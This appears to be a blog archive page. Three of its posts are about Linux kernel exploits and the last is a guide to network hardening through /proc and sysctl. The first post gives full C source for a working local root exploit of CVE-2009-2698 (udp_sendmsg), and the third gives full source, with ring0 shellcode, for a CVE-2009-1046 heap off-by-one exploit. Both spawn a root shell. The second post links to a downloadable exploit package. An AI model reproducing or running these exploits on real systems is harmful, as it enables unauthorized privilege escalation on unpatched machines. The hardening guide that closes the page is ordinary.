Sep 02

/***********************************************************
* hoagie_udp_sendmsg.c
* LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) – CVE-2009-2698
*
* udp_sendmsg bug exploit via (*output) callback function
* used in dst_entry / rtable
*
* Bug reported by Tavis Ormandy and Julien Tinnes
* of the Google Security Team
*
* Tested with Debian Etch (r0)
*
* $ cat /etc/debian_version
* 4.0
* $ uname -a
* Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
* $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg
* $ ./hoagie_udp_sendmsg
* hoagie_udp_sendmsg.c – linux root < 2.6.19 local
* -andi / void.at
*
* sh-3.1# id
* uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)
* sh-3.1#
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/mman.h>

/**
* this code will be called from NF_HOOK via (*output) callback in kernel mode
*/
void set_current_task_uids_gids_to_zero() {
   asm("push %eax\n"
       "movl $0xffffe000, %eax\n"
       "andl %esp, %eax\n"
       "movl (%eax), %eax\n"
       "movl $0×0, 0×150(%eax)\n"
       "movl $0×0, 0×154(%eax)\n"
       "movl $0×0, 0×158(%eax)\n"
       "movl $0×0, 0×15a(%eax)\n"
       "movl $0×0, 0×160(%eax)\n"
       "movl $0×0, 0×164(%eax)\n"
       "movl $0×0, 0×168(%eax)\n"
       "movl $0×0, 0×16a(%eax)\n"
       "pop  %eax\n");
}

int main(int argc, char **argv) {
   int s;
   struct msghdr header;
   struct sockaddr_in sin;
   char *rtable = NULL;

   fprintf(stderr,
           "hoagie_udp_sendmsg.c – linux root <= 2.6.19 local\n"
                  "-andi / void.at\n\n");

   s = socket(PF_INET, SOCK_DGRAM, 0);
   if (s == -1) {
      fprintf(stderr, "[*] can’t create socket\n");
      exit(-1);
   }

   /**
    * initialize required variables
    */
   memset(&header, 0, sizeof(struct msghdr));
   memset(&sin, 0, sizeof(struct sockaddr_in));
   sin.sin_family = AF_INET;
   sin.sin_addr.s_addr = inet_addr("127.0.0.1");
   sin.sin_port = htons(22);
   header.msg_name = &sin;
   header.msg_namelen = sizeof(sin);

   /**
    * and this is the trick:
    * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=> offset 0×74)
    * so we map our rtable buffer at offset 0 and set output callback function
    *
    * struct dst_entry
    * {
    *         struct dst_entry        *next;
    *         atomic_t                __refcnt;       client references
    *         int                     __use;
    *         struct dst_entry        *child;
    *         struct net_device       *dev;
    *         short                   error;
    *         short                   obsolete;
    *         int                     flags;
    * #define DST_HOST                1
    * #define DST_NOXFRM              2
    * #define DST_NOPOLICY            4
    * #define DST_NOHASH              8
    * #define DST_BALANCED            0×10
    *         unsigned long           lastuse;
    *         unsigned long           expires;
    *
    *         unsigned short          header_len;     * more space at head required *
    *         unsigned short          trailer_len;    * space to reserve at tail *
    *
    *         u32                     metrics[RTAX_MAX];
    *         struct dst_entry        *path;
    *
    *         unsigned long           rate_last;      * rate limiting for ICMP *
    *         unsigned long           rate_tokens;
    *
    *         struct neighbour        *neighbour;
    *         struct hh_cache         *hh;
    *         struct xfrm_state       *xfrm;
    *
    *         int                     (*input)(struct sk_buff*);
    *         int                     (*output)(struct sk_buff*);
    *
    * #ifdef CONFIG_NET_CLS_ROUTE
    *         __u32                   tclassid;
    * #endif
    *
    *         struct  dst_ops         *ops;
    *         struct rcu_head         rcu_head;
    *
    *         char                    info[0];
    * };
    *
    * struct rtable
    * {
    *         union
    *         {
    *                 struct dst_entry        dst;
    *                 struct rtable           *rt_next;
    *         } u;
    *
    *         struct in_device        *idev;
    *
    *         unsigned                rt_flags;
    *         __u16                   rt_type;
    *         __u16                   rt_multipath_alg;
    *
    *         __be32                  rt_dst; * Path destination     *
    *         __be32                  rt_src; * Path source          *
    *         int                     rt_iif;
    *
    *         * Info on neighbour *
    *         __be32                  rt_gateway;
    *
    *         * Cache lookup keys *
    *         struct flowi            fl;
    *
    *         * Miscellaneous cached information *
    *          __be32                  rt_spec_dst; * RFC1122 specific destination *
    *         struct inet_peer        *peer; * long-living peer info *
    * };
    *
    */
   rtable = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
   if (rtable == MAP_FAILED) {
      fprintf(stderr, "[*] mmap failed\n");
      exit(-1);
   }
   *(int *)(rtable + 0×74) = (int)set_current_task_uids_gids_to_zero;

   /* trigger exploit
    *
    * the second sendmsg() call will call ip_append_data() with rt == NULL
    * because of:
    * if (up->pending) {
    *          *
    *          * There are pending frames.
    *          * The socket lock must be held while it’s corked.
    *          *
    *          lock_sock(sk);
    *          if (likely(up->pending)) {
    *                    if (unlikely(up->pending != AF_INET)) {
    *                            release_sock(sk);
    *                            return -EINVAL;
    *                    }
    *                    goto do_append_data;
    *            }
    *            release_sock(sk);
    *    }
    *
    */
   sendmsg(s, &header, MSG_MORE|MSG_PROXY);
   sendmsg(s, &header, 0);

   close(s);

   system("/bin/sh");

   return 0;
}

Tagged with:
Aug 15

/* dedicated to my best friend in the whole world, Robin Price
   the joke is in your hands

   just too easy — some nice library functions for reuse here though

   credits to julien tinnes/tavis ormandy for the bug

   may want to remove the __attribute__((regparm(3))) for 2.4 kernels,
   I have no time to test

spender@www:~$ cat redhat_hehe
I bet Red Hat will wish they closed the SELinux vulnerability when they
were given the opportunity to.  Now all RHEL boxes will get owned by
leeches.c :p

fd7810e34e9856f77cba67f291ba115f33411ebd
d4b0e413ebf15d039953dfabf7f9a2d1

thanks to Dan Walsh for the great SELinux bypass even on "fixed" SELinux
policies

and nice work Linus on trying to silently fix an 8 year old
vulnerability, leaving vendors without patched kernels for their users.

  use ./wunderbar_emporium.sh for everything

don’t have mplayer? watch an earlier version of the exploit at:
http://www.youtube.com/watch?v=arAfIp7YzZ4

*/

http://www.grsecurity.net/~spender/wunderbar_emporium.tgz
back: http://milw0rm.com/sploits/2009-wunderbar_emporium.tgz

Tagged with:
Jul 12

/* CVE-2009-1046 Virtual Console UTF-8  set_selection() off-by-one(two) Memory Corruption
* Linux Kernel <= 2.6.28.3
*
* coded by: sgrakkyu <at> antifork.org
* http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html
*
* Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow
*
* NOTE-1: you need a virtual console attached to the standard output (stdout)
* – physical login
* – ptrace() against some process with the same uid already attached to a VC
* – remote management ..
*
* NOTE-2: UTF-8 character used is: U+253C – it seems to be supported in most standard console fonts
* but if it’s _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines)
* If you use an unsupported character expect some sort of recursive fatal ooops:)
*
* Designed to be built as x86-64 binary only (SLUB ONLY)
* SCTP stack has to be available
*
* Tested on target:
* Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
* Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server)
* Fedora Core 10 x86_64 (default installed kernel – without selinux)
*
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <linux/tiocl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h>

#ifndef __x86_64__
#error "Architecture Unsupported"
#error "This code was written for x86-64 target and has to be built as x86-64 binary"
#else

#ifndef __u8
#define __u8  uint8_t
#endif
#ifndef __u16
#define __u16 uint16_t
#endif
#ifndef __u32
#define __u32 uint32_t
#endif
#ifndef __u64
#define __u64 uint64_t
#endif

#define STREAM_ZERO 10
#define STREAM_ZERO_ALT 12

#define SCTP_STREAM 22
#define STACK_SIZE 0×1000
#define PAGE_SIZE 0×1000
#define STRUCT_PAGE  0×0000000000000000
#define STRUCT_PAGE_ALT 0×0000000100000000
#define CODE_PAGE      0×0000000000010000
#define LOCALHOST "127.0.0.1"
#define KMALLOC "kmalloc-128"
#define TIMER_LIST_FOPS "timer_list_fops"

#define __msg_f(format, args…) \
  do { fprintf(stdout, format, ## args); } while(0)

#define __msg(msg) \
  do { fprintf(stdout, "%s", msg); } while(0)

#define __fatal_errno(msg) \
do { perror(msg); __free_stuff(); exit(1); } while(0)

#define __fatal(msg) \
do { fprintf(stderr, msg); __free_stuff(); exit(1); } while(0)

#define CJUMP_OFF 13
char ring0[]=
"\x57"                                      //    push   %rdi
"\x50"                                      //    push   %rax
"\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"      //    mov    %gs:0×0,%rdi
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41"  //    mov   xxx, %rax
"\xff\xd0"                                  //    callq  *%rax
"\x58"                                      //    pop    %rax
"\x5f"                                      //    pop    %rdi
"\xc3";                                     //    retq

/* conn struct */
static __u16 srvport;
struct sockaddr_in server_s;
static struct sockaddr_in caddr;

/* some fds.. */
static int g_array[10];
static int fd_zmap_srv=-1;
static int kmalloc_fd=-1;
static int unsafe_fd[4] = {-1,-1,-1,-1};

/* misc */
static int dorec = 0, cankill=1, highpage=0;
static char cstack[STACK_SIZE*2];
static __u16 zstream=STREAM_ZERO;
static __u32 uid,gid;
static __u64 fops;
static pid_t child=0;
static char symbuf[20000];

static void __free_stuff()
{
  int i;
  for(i=3; i<2048; i++)
  {
    if((unsafe_fd[0] == i || unsafe_fd[1] == i ||
       unsafe_fd[2] == i || unsafe_fd[3] == i))
        continue;

    close(i);
  }
}

static void bindcpu()
{
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
  if(sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0)
    __fatal_errno("setaffinity");
}

/* parse functions are not bof-free:) */
static __u64 get_fops_addr()
{
  FILE* stream;
  char fbuf[256];
  char addr[32];
  stream = fopen("/proc/kallsyms", "r");
  if(stream < 0)
    __fatal_errno("open: kallsyms");

  memset(fbuf, 0×00, sizeof(fbuf));
  while(fgets(fbuf, 256, stream) > 0)
  {
    char *p = fbuf;
    char *a = addr;
    memset(addr, 0×00, sizeof(addr));
    fbuf[strlen(fbuf)-1] = 0;
    while(*p != ‘ ‘)
      *a++ = *p++; 
    p += 3;
    if(!strcmp(p, TIMER_LIST_FOPS))
      return strtoul(addr, NULL, 16);
  }

  return 0;
}

static int get_total_object(int fd)
{
  char name[32];
  char used[32];
  char total[32];
  char *ptr[] = {name, used, total};
  int ret,i,toread=sizeof(symbuf)-1;
  char *p = symbuf;

  lseek(fd, 0, SEEK_SET);
  memset(symbuf, 0×00, sizeof(symbuf));
  while( (ret = read(fd, p, toread)) > 0)
  {
    p += ret;
    toread -= ret;
  }

  p = symbuf;
  do
  {
    for(i=0; i<sizeof(ptr)/sizeof(void*); i++)
    {
      char *d = ptr[i];
      while(*p != ‘ ‘)
        *d++ = *p++;  
      *d = 0;
      while(*p == ‘ ‘)
        p++;
    }
    while(*p++ != ‘\n’);
    if(!strcmp(KMALLOC, name))
      return atoi(total); 

  } while(*p != 0);
  return 0;
}

static void ring0c(void* t)
{
  int i;
  __u32 *p = t;
  for(i=0; i<1100; i++,p++)
  {
      if(p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
         p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
         {
           p[0] = p[1] = p[2] = p[3] = 0;
           p[4] = p[5] = p[6] = p[7] = 0;
           /* dont care about caps */
           break;
         }
  }
}

static int get_kmalloc_fd()
{
  int fd;
  fd = open("/proc/slabinfo", O_RDONLY);
  if(fd < 0)
    __fatal_errno("open: slabinfo");
  return fd;
}

static int write_sctp(int fd, struct sockaddr_in *s, int channel)
{
  int ret;
  ret = sctp_sendmsg(fd, "a", 1,
               (struct sockaddr *)s, sizeof(struct sockaddr_in),
               0, 0, channel, 0 ,0);
  return ret;
}

static void set_sctp_sock_opt(int fd, __u16 in, __u16 out)
{
  struct sctp_initmsg msg;
  int val=1;
  socklen_t len_sctp = sizeof(struct sctp_initmsg);
  getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
  msg.sinit_num_ostreams=out;
  msg.sinit_max_instreams=in;
  setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
  setsockopt(fd, SOL_SCTP, SCTP_NODELAY, (char*)&val, sizeof(val));
}

static int create_and_init(void)
{
  int fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd < 0)
    __fatal_errno("socket: sctp");
  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
  return fd;
}

static void connect_peer(int fd, struct sockaddr_in *s)
{
  int ret;
  ret = connect(fd, (struct sockaddr *)s, sizeof(struct sockaddr_in));
  if(ret < 0)
    __fatal_errno("connect: one peer");
}

static void conn_and_write(int fd, struct sockaddr_in *s, __u16 stream)
{
  connect_peer(fd,s);
  write_sctp(fd, s, stream);
}

static int clone_thread(void*useless)
{
  int o = 1;
  int c=0,idx=0;
  int fd, ret;
  struct sockaddr_in tmp;
  socklen_t len;

  bindcpu();
  server_s.sin_family = PF_INET;
  server_s.sin_port = htons(srvport);
  server_s.sin_addr.s_addr = inet_addr(LOCALHOST);

  fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd < 0)
    return -1;

  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);  
  setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));

  ret = bind(fd, (struct sockaddr *)&server_s, sizeof(struct sockaddr_in));
  if(ret < 0)
    return -1;

  ret = listen(fd, 100);
  if(ret < 0)
    return -1;

  len = sizeof(struct sockaddr_in);
  while((ret = accept(fd, (struct sockaddr *)&tmp, &len)) >= 0)
  {
    if(dorec != 0 && c >= dorec && idx < 10)
    {
      g_array[idx] = ret;
      if(idx==9)
      {
        fd_zmap_srv = ret;
        caddr = tmp;
        break;
      }
      idx++;
    }
    c++;  
    write_sctp(ret, &tmp, zstream);
  }
  sleep(1);
  return 0;
}

static int do_mmap(unsigned long base, int npages)
{
  void*addr = mmap((void*)base, PAGE_SIZE*npages,
                   PROT_READ|PROT_WRITE|PROT_EXEC, 
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  if(MAP_FAILED == addr)
    return -1;

  memset(addr, 0×00, PAGE_SIZE*npages);
  return 0;
}

pid_t start_listener()
{
  pid_t pid;
  pid = clone(clone_thread, cstack+STACK_SIZE-8,
              CLONE_VM|CLONE_FILES|SIGCHLD, NULL);
  return pid;
}

static void do_socks(struct sockaddr_in *s, __u16 stream)
{
  int i,fd;
  int n_objs = get_total_object(kmalloc_fd), tmp_n_objs;
  int next=8;

  for(i=0; next != 0; i++)
  {
    fd = create_and_init();

    tmp_n_objs = get_total_object(kmalloc_fd);
    if(!dorec && tmp_n_objs != n_objs)
      dorec=i;

    conn_and_write(fd, s, stream);
    if(dorec)
      next–;
  }
}

static void clr(int fd)
{
  /* use termcap instead..*/
  write(fd, "\33[H\33[J", 6); 
}

static char tiobuffer[2048];
void alloc_tioclinux()
{
  int i;
  char out[128*3];
  /* Unicode Character ‘BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL’ (U+253C) */
  char utf8[3] = { 0xE2, 0×94, 0xBC }; 
  //char utf8[3] = { 0xE2, 0×80, 0xBC }; 
  struct tiocl_selection *sel;
  char *t;
  void *v = malloc(sizeof(struct tiocl_selection) + 1);
  t = (char*)v;
  sel = (struct tiocl_selection *)(t+1);
  memset(out, 0×41, sizeof(out));
  for(i=0; i<128; i++)
  {
    tiobuffer[(i*3)]=utf8[0];
    tiobuffer[(i*3)+1]=utf8[1];
    tiobuffer[(i*3)+2]=utf8[2];
  }

  *t = TIOCL_SETSEL;
  sel->xs = 1;
  sel->ys = 1;
  sel->xe = 43;
  //sel->xe = 42; /* no overflow */
  sel->ye = 1;
  write(1, tiobuffer, sizeof(tiobuffer));
  if(ioctl(1, TIOCLINUX, v) < 0)
    __fatal("[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n");
}

static void migrate_evil_fd()
{
  int i;
  pid_t child;

  __msg("[**] Migrate evil unsafe fds to child process..\n");
  child = fork();
  if(!child)
  {

    /* preserve evil fds */
    setsid();
    if(!cankill) /* cant die .. */
      while(1)
        sleep(1);
    else
    {
      sleep(10); /* wait execve() before */
      for(i=0; i<4; i++)
        close(unsafe_fd[i]);

      exit(1);
    }
  }
  else
  {
    if(!cankill)
      __msg_f("[**] Child process %d _MUST_ NOT die … keep it alive:)\n", child);
  }
}

static void trigger_fault()
{
  char *argv[]={"/bin/sh", NULL};
  int fd,i;

  fd = open("/proc/timer_list", O_RDONLY);
  if(fd >= 0)
  {
    ioctl(fd, 0, 0);
    __free_stuff();
    migrate_evil_fd();
    for(i=0; i<4; i++)
      close(unsafe_fd[i]);

    if(!getuid())
    {
      __msg("[**] Got root!\n");
      execve("/bin/sh", argv, NULL);
    }
  }
  else
  {
    __msg("[**] Cannot open /proc/timer_list");
    __free_stuff();
  }
}

static void overwrite_fops( int sender,
                            struct sockaddr_in *to_receiver,
                            int receiver)
{
  char *p = NULL;
  if(!highpage)
    p++;
  else
    p = (void*)STRUCT_PAGE_ALT;

  __u64 *uip = (__u64*)p; 
  *uip = fops;
  write_sctp(sender, to_receiver, 1); 
  sleep(1);
  trigger_fault();
}

static __u16 get_port()
{
  __u16 r = (__u16)getpid();
  if(r <= 0×400)
    r+=0×400;
  return r;
}

int main(int argc, char *argv[])
{
  int peerx, peery,i;
  __u64 *patch;

  srvport = get_port();

  uid=getuid();
  gid=getgid();
  fops=get_fops_addr() + 64;
  if(!fops)
  {
    __msg("[!!] Unable to locate symbols…\n");
    return 1;
  }

  __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
  patch = (__u64*)(ring0 + CJUMP_OFF);
  *patch = (__u64)ring0c;

  __msg_f("[**] Using port: %d\n", srvport);
  __msg("[**] Getting slab info…\n");
  kmalloc_fd = get_kmalloc_fd();
  if(!get_total_object(kmalloc_fd))
    __fatal("[!!] Only SLUB allocator supported\n");

  __msg("[**] Mapping Segments…\n");
  __msg("[**] Trying mapping safe page…");
  if(do_mmap(STRUCT_PAGE, 1) < 0)
  {
    __msg("Page Protection Present (Unable to Map Safe Page)\n");
    __msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
    if(do_mmap(STRUCT_PAGE_ALT, 1) < 0)
      __fatal_errno("mmap");

    cankill=0;  /* dont kill child owning unsafe fds.. */
    highpage=1; /* ssnmap in higher pages */
    zstream=STREAM_ZERO_ALT;
  }
  else
    __msg("Done\n");

  __msg("[**] Mapping Code Page… ");
  if(do_mmap(CODE_PAGE, 1) < 0)
    __fatal_errno("mmap");
  else
    __msg("Done\n");

  memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));

  __msg("[**] Binding on CPU 0\n");
  bindcpu();

  __msg("[**] Start Server Thread..\n");
  child = start_listener();
  sleep(3);
  do_socks(&server_s, zstream);
  for(i=0; i<7; i++)
  {
    close(g_array[8-1-i]); 
  }
  clr(1);
  alloc_tioclinux(); // trigger overflow
  peerx = create_and_init();
  connect_peer(peerx, &server_s);
  peery = create_and_init();
  connect_peer(peery, &server_s);
  sleep(1);

  unsafe_fd[0] = peerx;
  unsafe_fd[1] = g_array[8];
  unsafe_fd[2] = peery;
  unsafe_fd[3] = g_array[9];
  __msg("\n");
  __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv);
  __msg_f("[**] Unsafe  fd: ( ");

  for(i=0; i<4; i++)
    __msg_f("%d ", unsafe_fd[i]);
  __msg(")\n");

  __msg("[**] Hijacking fops…\n");
  overwrite_fops(fd_zmap_srv, &caddr, peery);

  /* if u get here.. something nasty happens…may crash..*/
  __free_stuff();
  __msg("[**] Exploit failed.. freezing process\n");
  kill(getpid(), SIGSTOP);
  return 0;
}

#endif

Tagged with:
Jan 06

The proc filesystem offers some significant enhancements to your network security settings. Unfortunately, most of us are unaware of anything beyond the vague rumors. In the article, we’ll review some of the basic essentials of the kernel parameters necessary by altering /proc filesystem to add to the overall network security of your Linux server.

The proc filesystem is a area of more frequently being neglected. The pseudo file structure within proc allows you to interface with the internal data structures in the kernel, either obtaining information about the system or changing specific settings.

IP Specific Settings

IP forwarding of packets between interfaces is enabled by default on many systems.  If you’re not intending for your box to forward traffic between interfaces, or if you only have a single interface, it would probably be a good idea to disable forwarding. Note that altering this value resets all configuration parameters to their default values. you’ll want to modify this one before all other /proc settings.

if [ -r /proc/sys/net/ipv4/ip_forward ]; then
  echo "Disabling IP forwarding"
  echo "0" > /proc/sys/net/ipv4/ip_forward

fi 

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.ip_forward = 0


If instead you decide to enable forwarding, you will also be able to modify the rp_filter setting; something which is often misunderstood by network administrators. The rp_filter can reject incoming packets if their source address doesn’t match the network interface that they’re arriving on, which helps to prevent IP spoofing. Turning this on, however, has its consequences: If your host has several IP addresses on different interfaces, or if your single interface has multiple IP addresses on it, you’ll find that your kernel may end up rejecting valid traffic. It’s also important to note that even if you do not enable the rp_filter, protection against broadcast spoofing is always on. Also, the protection it provides is only against spoofed internal addresses; external addresses can still be spoofed.. By default, it is disabled. To enable it, run the following:

if [ -r /proc/sys/net/ipv4/conf/all/rp_filter ]; then
  echo "Enabling rp_filter"
  echo "1" > /proc/sys/net/ipv4/conf/all/rp_filter
fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.conf.all.rp_filter = 1

You may have also noticed the "all" subdirectory in this last example. In /proc/sys/net/ipv4/conf there is one subdirectory for each interface on your system along with one directory called "all". Changing specific interface directories only affects that specific interface, while changes made to the "all" directory affects all interfaces on the system.

If you have compiled your kernel with CONFIG_SYNCOOKIES, you will be able to optionally turn on or off protection against SYN flood attacks. Note the emphasis, as compiling the kernel with this value does not enable it by default. It works by sending out ’syncookies’ when the syn backlog queue of a socket overflows. What is often misunderstood is that socket backlogging is not supported in newer operating systems, which means that your error messages may not be correctly received by the offending system. Also, if you see synflood warnings in your logs, make sure they are not the result of a heavily loaded server before enabling this setting. They can also cause connection problems for other hosts attempting to reach you. However, if you do want to enable this setting, perform the following:

if [ -r /proc/sys/net/ipv4/tcp_syncookies ]; then
  echo "Enabling tcp_syncookies"
  echo "1" > /proc/sys/net/ipv4/tcp_syncookies
fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.tcp_syncookies = 1

Normally, a host has no control over the route any particular packet takes beyond its first hop. It is up to the other hosts on the network to complete the delivery. IP Source Routing (SRR) is a method of specifying the exact path that a packet should take among the other hosts to get to its destination. This is generally a bad idea for the security conscious, as someone could direct packets to you through a trusted interface and effectively bypass your security in some cases. A good example is traffic, such as SSH or telnet, that is blocked on one interface might arrive on another of your host’s interfaces if source routing is used, which you might not have anticipated in your firewall settings. You’ll probably want to disable this setting with:

if [ -r /proc/sys/net/ipv4/conf/all/accept_source_route ]; then
  echo "Disabling source routing"
  echo "0" > /proc/sys/net/ipv4/conf/all/accept_source_route
fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.conf.all.accept_source_route = 0

Packets that have source addresses with no known route are referred to as "martians". For example, if you have two different subnets plugged into the same hub, the routers on each end will see each other as martians. To log such packets to the kernel log, which should never show up in the first place, you’ll need to issue:

if [ -r /proc/sys/net/ipv4/conf/all/log_martians ]; then
  echo "Enabling logging of martians"
  echo "1" > /proc/sys/net/ipv4/conf/all/log_martians

fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.conf.all.log_martians = 1

 
ICMP Specific Settings

Ping scanning is typically used to determine which hosts on a network are up. Typically this is done by sending ICMP ECHO request packets to the target host. This is seemingly innocent behavior, however often network administrators will block such traffic to increase their obscurity. The choices involve blocking ICMP ECHO requests to broadcast/multicast addresses and directly to the host itself. The respective commands to disable protection are:

echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all

ICMP redirect messages can also be a pain. If your box is not acting as a router, you’ll probably want to disable them:

echo "0" > /proc/sys/net/ipv4/conf/all/accept_redirects

Sometimes you will come across routers that send out invalid responses to broadcast frames. This is a violation of RFC 1122, "Requirements for Internet Hosts — Communication Layers". As a result, these events are logged by the kernel. To avoid filling up your logfile with unnecessary clutter, you can tell the kernel not to issue these warnings:

echo "1" > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses

 
Additional Resources

For more information regarding the /proc filesystem, you can refer to the documentation that comes with the Linux kernel source. Of specific help is Documentation/filesystems/proc.txt by Bowden, Bauer & Nerin. Additionally,
you can refer to Documentation/networking/ip-sysctl.txt by Kuznetsov & Savola.

Tagged with:
preload preload preload